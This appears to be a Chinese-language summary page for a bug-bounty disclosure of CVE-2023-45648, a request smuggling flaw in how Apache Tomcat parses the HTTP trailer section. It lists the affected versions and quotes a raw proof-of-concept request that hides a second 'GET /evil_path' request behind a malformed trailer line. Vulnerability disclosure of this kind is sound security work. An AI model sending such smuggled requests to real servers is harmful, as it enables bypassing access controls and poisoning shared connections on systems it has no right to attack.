Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)
该报告还没有中文解读。
原文摘录
摘自原文（1959 字符中的一小部分）
Apache Tomcat supports Trailer Section. However, we found that in version prior than 11.0.0-M11, 10.1.13, 9.0.80, 8.5.93, Apache Tomcat cannot properly parse the trailer section if there's no colon in the trailer header's line. It will skip the following lines until the last line with a valid …
原文中的代码
POST /benign_path HTTP/1.1 Host: a.com Connection: keep-alive Transfer-Encoding: chunked 5 12345 0 Content: hello a POST /benign_path HTTP/1.1 Host: a.com Connection: keep-alive Content-Length: 37 GET /evil_path HTTP/1.1 Any: any Host: b.com
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @mukeran · 版权归作者与 Internet Bug Bounty 所有